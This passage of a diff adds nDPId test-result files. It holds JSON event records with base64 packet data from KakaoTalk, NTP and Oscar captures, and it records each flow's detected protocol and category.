+00593{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":99036,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMgAAEAAHRH8sgHJAa4KGFK8WgQsOAC0sV+AbDQjfrPvw1SapdrH92TwJrSGJXrHpWc9oUvMPVF54WLmAsTqTJUbxo2dvQ8WKlJ4jcwUvwJ9h3lK6IQN5LrGAAr55Tco1rPnjmfhybupCMERNh6WQfRNk4JzkHhgyrnrw6cqZ+GIinnMPEbO\/JtawZfMi6z2zozh5lw7GpcNsUULwGjIKjOMlQiSF8Uz+UL\/VtJNkYF8S4BRk4UkiUYYaohU67RlN8PuhFeT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3182,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":127539,"pkt_caplen":199,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":199,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALcAAEAAPxHa6woYUrwByQGuLDhaBACjOSWAbFGii0Sg2guGVRkOLHCI1Ob1GrKJrr7rNPr8Qkxfvf4jXoeSvyAq8EQDP1U5A4NczY\/ykHF9qIip6reNC\/j7JnuVrK\/TdG8OzaUs7ReFzhOGVJP\/wQt3TJyfGbzRU\/vk5g7oxOuCm5QbKR64QutaIfnYr9vONgGK0kigD9o6\/DcGmGhFtcId+knIVrQ73qyMZxfCF\/sYfjpdhA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3183,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00505{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":129645,"pkt_caplen":150,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":150,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIYAAEAAPxHbHAoYUrwByQGuLDhaBAByJqaAbFGji0SkmguGVRkZzglmrYnphze77OawW+WO1gHzVfaXpc531c0Uv+X4jUQovthLPS51pRTw23oE+IUbJYSPoEaDBkNVaAVQpOMSuVn012X\/UIuvSd8sBGvEvJI2MMyaP1neTtiZejRP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3184,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":179084,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM8AAEAAHBH9qwHJAa4KGFK8WgYoHAC7GBqAbFGei0SR2guGVRnokglrmz85Z31qz8YMjjYe8w0\/tGfPAf4ZYRniyQB\/E51Li45MY7YbmodKBVyJt6uidnCScxEdbCl\/G29DVhLHzF08dcMl0+OosuGuwB4wtx6rtyDX+09wJoWJ9LOgr51EfyXU45Y9QMD9kIJAAqMKpeAm1nx9UACo+mH3cXBkSlvrvIqF7qRINCPnmV36cl3Yke3zP0PCN7dZ1Ydh3ZfaLcoZkN+72Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3185,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":237067,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAPxHbPgoYUrwByQGuLDhaBABQHl2AbFGki0SoWguGVRnsdYCV\/EdSbwR+BQStWLBuJkCK9xLGVQ1byrS3VSK+qUdnfRbGE1OXyaDUiBlXnZuMSC1eRn6xyuLQa68="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3186,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":247046,"pkt_caplen":214,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":214,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMYAAEAAHRH8tAHJAa4KGFK8WgQsOACyW5KAbDQkfrPzg1Sapdp\/zqtmBFWXD20fUZPVdO5VYVZ1yncbOpyfUoEEa+OMJI9JFFI6jYHC5kldLzKMEXV+GF9CbE3gvfwn8VDGoEk012gkOJ\/fTtAzyYI++El+SoeK7Gse+udTMBhHX0UYQqbhW6nL35ZWSNAB80HNmtJgV8sVd7TcxlIjd1iMGBCo6Qji1lpcEoCQpD4ht2CP4Y+Ojoj+iEz\/zhyLUHz3CA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3187,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":303137,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMcAAEAAHRH8swHJAa4KGFK8WgQsOACzhxmAbDQlfrP3Q1Sapdq5OZrUyhQPorb5ERqp2BZyucUGPTOK9uGjpWolsY9KlZaeSdw3ApJPSCbwJOmAlj7QOI7VCi38JgY9gn5LH3YINqPSwccvIvDz+Uf70\/kKE8U7EJBNQtrX1pBlggHEbFF4d3wLrtbH\/MXH8vx2dftryYr4o\/vVGkt1oOb+AoEEkhEccaumvLDLgRlTbvGDl3FcaPDOM5xCGRLMlYc9p0g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3188,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00462{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":330817,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABPSASAbFGli0SsGguGVRkn7A4\/+OdcNGGyo+\/cmwfqvbsfNBi7SgDb84iw5RauAHiZ3bLRvVyDnvthDxLMkuLqtvpOJXvh3bc27A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3189,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":336798,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABPlIeAbFGmi0Sv2guGVRlFBS5OV4daLSDCNSxFtAudMBVD7g+3vFFnz2NKRz8oLRDdqnUg1fUoW89CBEnilwJvnKcY33+MvzOXyQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3190,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00577{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":342993,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALoAAEAAHBH9wAHJAa4KGFK8WgYoHACmSLGAbFGfi0SVmguGVRmbJoNun7YtIcgs4OaTm7dLNAJ2o4I+6JOS0bTNH0rqDbXdMSfAJku\/7dhlhkjJahvqHIgLpCEAOLvADe3Ht8KfrzDV9tMqAuar5wIFL4FmO2dlW5yu01D65YGQ1f0klBljqXIQ4KFZ7trstUnAt3LWFvMX4VM19srDuE6niYtotlADLwSKbeyIWcmPI5ZcCmub7A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3191,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00585{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":379065,"pkt_caplen":207,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":207,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL8AAEAAHRH8uwHJAa4KGFK8WgQsOACrO9KAbDQmfrP7A1SapdqlXyIKRNNUMIU3QYqSyjGP7LxM1RU4SZG1U3zNDKKkoa7I46qx2nro+eouDQOvrfbWodk\/u53koHejAEomstBcWgmKnUmijf4MRw2+U\/J6rRONDlH+z9dzaIYp7u\/6nirFa8UvJ5XpN7DZxiElcB3SZETFLQ27roke\/HkxcQCbhYV3FMupmqh0OAfJjHyOi\/kImFsUwHA8"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3192,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":390998,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALEAAEAAHBH9yQHJAa4KGFK8WgYoHACd3n+AbFGgi0SZWguGVRn2QGdJZsfMK\/94cX0FOmBK5xCnut\/h8DlR9EyRNMWdzd\/on\/4IXlqff2cnAgyyo2CSqnqpBNK6gZ2S43YxonjFHmw9HD4xl68HwDJLMcjbsj5SbzvhAIUmM5gUN6Me4qLqc683u+WEymA73GsD8+yNQYfMwnUe2Iel6rhg7OV4tsLgKGzHZ3HC2A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3193,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00559{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":410987,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZVSKAbFGhi0SdGguGVRklgBJRjPffvrahvK8s8\/euPA5\/Nt3vWPu0hosMc+I9tyDWGWV4by7Wa8Iyyx+cIVtkHyO4ibcx68u9eaTd3+uHIkmVN8v1sfVRp+LKxhb9DvIhctm\/YprtNjK67AHqbfoQNn7vajoUnUqkzGXPpf57MKNl93o+tOH1IMJ6IwkUfgfPj9Ss"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3194,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":435919,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGMAAEAAPxHbPwoYUrwByQGuLDhaBABPrYeAbFGni0SzmguGVRkANzTCw1+C18KYAkY9T4\/APLSHQGLekKMlNoEntYq2wXdfkoJnRw2K000HhJK+8DVDXt13Knlp7dO3vQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3195,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":438086,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAPxHbPQoYUrwByQGuLDhaBABRVqiAbFGoi0S3WguGVRnF6\/g9GTIlsGkTm2z9NvSL2WsQWfc6jahkJ+TSZ4j3EozQsi8Ls1UTCa2WFlsKL6li6zi+kPW6N5kwCfbv"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3196,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":447150,"pkt_caplen":183,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":183,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKcAAEAAHRH80wHJAa4KGFK8WgQsOACTYb6AbDQnfrP+w1SapdpgI8jDxmzsASL6aS\/jGI\/LeA80TR6ysGFLr3HZ3Qg0EazjnC166rELHupe8D6PC88JfjRHTQAH4qWG4NXTp6YcqY0wyDwD0JUf5sqooGSTskOP0yk\/2LvleFPINf\/LhcIXWSi1F9Ypmm2Uix4dTXxVpN3hhCWLEsvDhJPOhX4I"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3197,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":536414,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKCx2AbFGpi0S7GguGVRk5sK78VJ24EmCRa3V3WS52DV4ZvWQIkCfEwPsRvdLb5pKRqekVg8fwnGDKPeuPG0tTz0vdkYE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3198,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":555030,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADTylEAALwb+3G5MjzIKGFK8Iynl6dfwrHktaZs1gBAANm6fAAABAQgKRNw3ZQAC2zU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3199,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00624{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":555121,"pkt_caplen":238,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":238,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAN7ylUAALwb+MW5MjzIKGFK8Iynl6dfwrHktaZs1gBgANqY3AAABAQgKRNw3ZQAC2zUXAwEAIBWczEYLZyEWghHq4URIQ6dapgTmoq+6WAZmL874g5cOFwMBAIBIQMk1lKipsPTrndaH4Chclcy4edAMVd+uNzFn2v+MztPPHmuQgG3SuMT8Vv+8RJ6s1tA9RxIVR4FX3cepBI+yYE7QfQUxowLpjyl8CbbFC5qWRzdTTOG60ilABgopGPNdF9GOEO7k6DamqXYUVKzCLjeAYmAD+ZgQdRJU2vVxSA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3200,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00394{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":555182,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAADRKqkAAQAaVxwoYUrxuTI8y5ekjKS1pmzXX8K0jgBADlVp5AAABAQgKAALbZkTcN2U="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3201,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00794{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":555213,"pkt_caplen":366,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":366,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAV6w7UAALgZAWm5MjzIKGFK8H5CAyJJ46c\/3EeJ+gBgAOIrdAAABAQgKRNw3ZgALT0oXAwEAIPaXqQIFT1BIjjZ+eYh18RqukpBJ1KgCDnjR82aWN0N4FwMBAQAZ7O75SireYB+GioiXRwtiRhP12onIQgEwanTRvxfSAAFnoBVsCLnC6WlRRafeiKyBH1rzwGbIdYa4Z9Va0kYN5yeJArz82mabqIYYRnkzAu180ht44N6kd5F6nBRHAXaK8yOKj1IpoR3M8zHMlBdc2vQV24rCzVeS92WTJJP7cL855KVpFZi193GCxBUACHVhp9Ed8jHce4tqr1e\/0pVdOpQOZ5dDYEATi3xBwNnCy8h+mm1WRLunKOCiQtauGnGOZXuV5y8i9ScBQup3YJvArWJtbpHk6E81ohp1thZ7jngS+tjkFTnMI2azP8pk5Drc2U+m0vq9FSO68wQF51ak"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3202,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00971{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069216,"pkt_ts_usec":559027,"pkt_caplen":490,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":490,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAdoKMEAAjgb4BouWAH0KGFK8Abu3Y2Ij1jlRKAS0UBifXH0zAACuAQAASco9e7VdqRc+Gkt7POZ3iw2F7xO4X2pC90c2WlKrkfUQp81wR7\/apKWRUN0xPn3rHrbfRdi+XhHa+j4GRhmQQo\/WP2OspzKBm3YLCNKlzTZ8kvGwZaDeSN6zsmCH4s4re40+RQD92a4DC1ldY8M0G8hP9VOib0DJc8A\/U\/Hl7Yga02rJ0WU9\/xZx0Y6IJDivqf2F6fu0KFw9\/9fRYLX4a4x4Dr04QF6nYY2hppUHqN+VoOshDOfBSjLOUu9eZW5XsK1QKV3ankWOeHcuur1QBnDUH7AyyKw05AsWLTgn93O9gTlO+KcD06aYGem2n3YDlKyjAH0YiG7yWXnHwud76KDQSYBeZwVKZUdN03qYy46C+rNDMk1+00VzRWs8Md0kD\/3WMG7IkKoLgycycmrBfqojZNvS0\/0M4FWQtEgD0\/9joTJQJuB7Q89d9iEB\/EX6dWqIJrF\/uwZ62wHFVsQVYEl6gV8ebF1xuilClTTE9Kv1ehLuEA6uKjKq32J1m2Se02dJBOb3S7pO0rsp3AvylwOa4z1IIKA5no19mPAA1kDKuhcfIna6FJ+5AXdIvA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3203,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} diff --git a/test/results/NTPv2.pcap.out b/test/results/NTPv2.pcap.out new file mode 100644 index 000000000..f4038b920 --- /dev/null +++ b/test/results/NTPv2.pcap.out @@ -0,0 +1,3 @@ +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"NTPv2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436865383632,"flow_last_seen":0,"flow_tot_l4_data_len":376,"flow_min_l4_data_len":376,"flow_max_l4_data_len":376,"flow_avg_l4_data_len":376,"midstream":0,"l3_proto":"ip4","src_ip":"208.104.95.10","dst_ip":"78.46.76.2","src_port":123,"dst_port":80,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00883{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"NTPv2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436865383,"pkt_ts_usec":632810,"pkt_caplen":410,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":410,"pkt_l4_len":376,"pkt":"RIpbLCrSACaIdf8bCABFAAGMHS4AADERoZDQaF8KTi5MAgB7AFABeH6Xlw4DKgAFAEgAAAAAAAAQOgAAAAAAAAGISO9ZbawQDGUAAAABDAIHAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAQZwAAAAAAAADHQLufDawQDGUAAAABuxwHAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQxAAAAAAAAAa6UEgp0qwQDGUAAAABKtoHAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ2AAAAAAAAAWzX1q4C6wQDGUAAAABAFAHAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ2wAAAAAAAAWRR3um9qwQDGUAAAABAFAHAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"NTPv2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436865383632,"flow_last_seen":0,"flow_tot_l4_data_len":376,"flow_min_l4_data_len":376,"flow_max_l4_data_len":376,"flow_avg_l4_data_len":376,"midstream":0,"l3_proto":"ip4","src_ip":"208.104.95.10","dst_ip":"78.46.76.2","src_port":123,"dst_port":80,"l4_proto":"udp","ndpi": {"proto":"NTP","breed":"Acceptable","category":"System"}} diff --git a/test/results/NTPv3.pcap.out b/test/results/NTPv3.pcap.out new file mode 100644 index 000000000..599dd380a --- /dev/null +++ b/test/results/NTPv3.pcap.out @@ -0,0 +1,3 @@ +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"NTPv3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436865405371,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"175.144.140.29","dst_ip":"78.46.76.2","src_port":123,"dst_port":80,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"NTPv3.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436865405,"pkt_ts_usec":371462,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"RIpbLCrSACaIdf8bCABFAABMAABAADcRbcOvkIwdTi5MAgB7AFAAOLcYHAAE+gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADZT08RAAAAANlPTxEAAAAA"} +00496{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"NTPv3.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436865405371,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"175.144.140.29","dst_ip":"78.46.76.2","src_port":123,"dst_port":80,"l4_proto":"udp","ndpi": {"proto":"NTP","breed":"Acceptable","category":"System"}} diff --git a/test/results/NTPv4.pcap.out b/test/results/NTPv4.pcap.out new file mode 100644 index 000000000..7a5af650a --- /dev/null +++ b/test/results/NTPv4.pcap.out @@ -0,0 +1,3 @@ +00466{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"NTPv4.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436865396190,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"85.22.62.120","dst_ip":"78.46.76.11","src_port":123,"dst_port":123,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"NTPv4.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436865396,"pkt_ts_usec":190857,"pkt_caplen":90,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":90,"pkt_l4_len":56,"pkt":"RIpb2HMEACaIdf8bCABFAABMrX9AADcRaFpVFj54Ti5MCwB7AHsAOKmfIwIH6wAABFAAAAOrg7wD39lPUcMxZbhg2URXVTAzb9DZRFdVMbTpeNlPUfQtJuL0"} +00496{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"NTPv4.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1436865396190,"flow_last_seen":0,"flow_tot_l4_data_len":56,"flow_min_l4_data_len":56,"flow_max_l4_data_len":56,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"85.22.62.120","dst_ip":"78.46.76.11","src_port":123,"dst_port":123,"l4_proto":"udp","ndpi": {"proto":"NTP","breed":"Acceptable","category":"System"}} diff --git a/test/results/Oscar.pcap.out b/test/results/Oscar.pcap.out new file mode 100644 index 000000000..3235aa6ea --- /dev/null +++ b/test/results/Oscar.pcap.out @@ -0,0 +1,16 @@ +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"Oscar.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1434606464176,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.30.29.3","dst_ip":"178.237.24.249","src_port":63357,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 